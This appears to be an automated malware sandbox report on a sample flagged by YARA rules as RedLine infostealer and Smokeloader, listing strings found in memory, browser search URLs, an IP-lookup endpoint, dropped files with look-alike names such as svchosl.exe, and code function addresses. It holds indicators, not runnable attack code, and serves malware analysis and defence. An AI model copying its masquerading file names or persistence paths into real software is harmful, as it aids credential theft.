Source: file.exe, 00000000.00000002.3280784216.0000000004ACE000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.3280784216.0000000004965000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11ResponseD
Source: file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12
Source: file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12Response
Source: file.exe, 00000000.00000002.3280784216.0000000004965000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.3280784216.0000000004B16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12ResponseD
Source: file.exe, 00000000.00000002.3280784216.0000000004B16000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13
Source: file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13Response
Source: file.exe, 00000000.00000002.3280784216.0000000004965000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.3280784216.0000000004B16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13ResponseD
Source: file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14
Source: file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14Response
Source: file.exe, 00000000.00000002.3280784216.0000000004965000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14ResponseD
Source: file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15
Source: file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15Response
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15ResponseD
Source: file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16Response
Source: file.exe, 00000000.00000002.3280784216.0000000004965000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.3280784216.0000000004B16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16ResponseD
Source: file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17
Source: file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17Response
Source: file.exe, 00000000.00000002.3280784216.0000000004965000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.3280784216.0000000004B16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17ResponseD
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18
Source: file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18Response
Source: file.exe, 00000000.00000002.3280784216.0000000004965000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.3280784216.0000000004B16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18ResponseD
Source: file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19
Source: file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19Response
Source: file.exe, 00000000.00000002.3280784216.0000000004965000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.3280784216.0000000004B16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19ResponseD
Source: file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1Response
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1ResponseD
Source: file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2
Source: file.exe, 00000000.00000002.3280784216.000000000495D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20
Source: file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20Response
Source: file.exe, 00000000.00000002.3280784216.0000000004965000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.3280784216.0000000004B16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20ResponseD
Source: file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21Response
Source: file.exe, 00000000.00000002.3280784216.0000000004965000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.3280784216.0000000004BA0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21ResponseD
Source: file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22Response
Source: file.exe, 00000000.00000002.3280784216.0000000004965000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22ResponseD
Source: file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id23
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id23Response
Source: file.exe, 00000000.00000002.3280784216.0000000004965000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id23ResponseD
Source: file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id24
Source: file.exe, 00000000.00000002.3280784216.0000000004965000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id24Response
Source: file.exe, 00000000.00000002.3280784216.0000000004A10000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id24ResponseD
Source: file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2Response
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2ResponseD
Source: file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id3
Source: file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id3Response
Source: file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4
Source: file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4Response
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4ResponseD
Source: file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5
Source: file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5Response
Source: file.exe, 00000000.00000002.3280784216.0000000004965000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5ResponseD
Source: file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6Response
Source: file.exe, 00000000.00000002.3280784216.0000000004965000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6ResponseD
Source: file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7
Source: file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7Response
Source: file.exe, 00000000.00000002.3280784216.0000000004965000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7ResponseD
Source: file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8
Source: file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8Response
Source: file.exe, 00000000.00000002.3280784216.0000000004965000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.3280784216.0000000004BA0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8ResponseD
Source: file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9
Source: file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9Response
Source: file.exe, 00000000.00000002.3280784216.0000000004965000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9ResponseD
Source: svchosl.exe, 0000000E.00000003.2370035552.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2371533496.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2369241126.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2373739228.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2370807089.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2373528666.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2369399572.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2369877536.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2371684654.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2369699265.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2372601536.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2369576437.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, select.pyd.14.dr, _bz2.pyd.14.dr, _ssl.pyd.14.dr	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: svchosl.exe, 0000000E.00000003.2370035552.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2371533496.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2369241126.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2373739228.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2370807089.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2373528666.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2369399572.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2369877536.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2371684654.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2369699265.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2372601536.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2369576437.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, select.pyd.14.dr, _bz2.pyd.14.dr, _ssl.pyd.14.dr	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: svchosl.exe, 0000000E.00000003.2370035552.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2371533496.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2369241126.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2373739228.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2370807089.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2373528666.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2369399572.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2369877536.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2371684654.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2369699265.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2372601536.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2369576437.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, select.pyd.14.dr, _bz2.pyd.14.dr, _ssl.pyd.14.dr	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: svchosl.exe, 00000010.00000002.3278579497.0000021306970000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 00000010.00000002.3277478424.000002130668E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-6
Source: svchosl.exe, 00000010.00000003.2377885559.00000213066A2000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 00000010.00000003.2377835190.0000021305890000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 00000010.00000002.3277478424.000002130668E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.python.org/
Source: svchosl.exe, 0000000E.00000003.2370258367.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 00000010.00000002.3278024219.00000213067C0000.00000004.00001000.00020000.00000000.sdmp, base_library.zip.14.dr	String found in binary or memory: http://www.python.org/dev/peps/pep-0205/
Source: svchosl.exe, 00000010.00000002.3277827122.0000021306740000.00000004.00001000.00020000.00000000.sdmp, base_library.zip.14.dr	String found in binary or memory: http://www.python.org/download/releases/2.3/mro/.
Source: file.exe, 00000000.00000002.3285742985.000000000598B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.3280784216.0000000004C83000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.3280784216.0000000004CC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: powershell.exe, 00000063.00000002.2775834529.0000000004EA5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000063.00000002.2775834529.0000000004E96000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: mig.exe, 0000005D.00000003.2800628651.0000000007379000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.ip.sb/ip
Source: file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ip.sb/ipZSELSystem.Windows.FormsECT
Source: file.exe, 00000000.00000002.3285742985.000000000598B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.3280784216.0000000004C83000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.3280784216.0000000004CC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000002.3285742985.000000000598B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.3280784216.0000000004C83000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.3280784216.0000000004CC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000002.3285742985.000000000598B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.3280784216.0000000004C83000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.3280784216.0000000004CC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000002.3285742985.000000000598B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.3280784216.0000000004C83000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.3280784216.0000000004CC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000002.3285742985.000000000598B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.3280784216.0000000004C83000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000002.3280784216.0000000004CC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtabS
Source: file.exe, 00000000.00000002.3285742985.000000000598B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.3280784216.0000000004C83000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.3280784216.0000000004CC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: svchosl.exe, 00000010.00000002.3275747889.000002130587E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_sy
Source: svchosl.exe, 00000010.00000002.3276701489.0000021305EC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L688
Source: svchosl.exe, 00000010.00000002.3275747889.000002130587E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py
Source: svchosl.exe, 00000010.00000002.3275747889.000002130587E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader
Source: svchosl.exe, 00000010.00000002.3275747889.000002130587E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#
Source: svchosl.exe, 00000010.00000003.2377885559.00000213066A2000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 00000010.00000003.2377835190.0000021305890000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 00000010.00000002.3277478424.000002130668E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mahler:8092/site-updates.py
Source: svchosl.exe, 0000000E.00000003.2370035552.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2373528666.000002061D9D9000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2371533496.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2369241126.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2370807089.000002061D9D9000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2373739228.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2370807089.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2373528666.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2369399572.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2369877536.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2371684654.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2369699265.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2372601536.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2369576437.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2373739228.000002061D9D6000.00000004.00000020.00020000.00000000.sdmp, select.pyd.14.dr, _bz2.pyd.14.dr, _ssl.pyd.14.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000002.3285742985.000000000598B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.3280784216.0000000004C83000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.3280784216.0000000004CC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000002.3285742985.000000000598B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.3280784216.0000000004C83000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.3280784216.0000000004CC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: svchosl.exe, 0000000E.00000003.2371684654.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 00000010.00000002.3281359438.00007FF8A8AF9000.00000002.00000001.01000000.00000016.sdmp, svchosl.exe, 00000010.00000002.3283946529.00007FF8B8088000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: https://www.openssl.org/H

Source: cmd.exe

Process created: 98

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.file.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0.3.file.exe.4420000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0.2.file.exe.29e0e67.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0.2.file.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000000.00000002.3277615325.00000000029E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000000.00000003.2077593562.0000000004420000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000000.00000002.3278134834.0000000002AA1000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.3275621443.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Detects RedLine infostealer Author: ditekSHen

Source: C:\Users\123.exe

Code function: 3_2_00EB6FAA: __EH_prolog,_wcslen,_wcslen,CreateFileW,CloseHandle,CreateDirectoryW,CreateFileW,DeviceIoControl,CloseHandle,GetLastError,RemoveDirectoryW,DeleteFileW,

3_2_00EB6FAA

Source: C:\ProgramData\MicrosoftSystem\Wmiic.exe

Code function: 6_2_00000001400133A0 _snwprintf_s,CreateServiceW,GetLastError,CloseServiceHandle,DeleteService,CloseServiceHandle,CloseServiceHandle,

6_2_00000001400133A0

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00408C60	0_2_00408C60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040DC11	0_2_0040DC11
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00407C3F	0_2_00407C3F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00418CCC	0_2_00418CCC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00406CA0	0_2_00406CA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004028B0	0_2_004028B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0041A4BE	0_2_0041A4BE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00418244	0_2_00418244
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00401650	0_2_00401650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402F20	0_2_00402F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004193C4	0_2_004193C4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00418788	0_2_00418788
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402F89	0_2_00402F89
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402B90	0_2_00402B90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004073A0	0_2_004073A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_029E2B17	0_2_029E2B17
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_029E18B7	0_2_029E18B7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_029E786D	0_2_029E786D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_029E3187	0_2_029E3187
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_029E31F0	0_2_029E31F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_029F89EF	0_2_029F89EF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_029E7EA6	0_2_029E7EA6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_029E8EC7	0_2_029E8EC7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_029EDE78	0_2_029EDE78
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_029E77D9	0_2_029E77D9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_029E6F07	0_2_029E6F07
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_029F8F33	0_2_029F8F33
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_029FA725	0_2_029FA725
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_029F84AB	0_2_029F84AB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_029E2DF7	0_2_029E2DF7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_044A7740	0_2_044A7740
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_044A7733	0_2_044A7733
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_07C49318	0_2_07C49318
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_07C48A10	0_2_07C48A10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_07C42924	0_2_07C42924
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_07C4F7F8	0_2_07C4F7F8
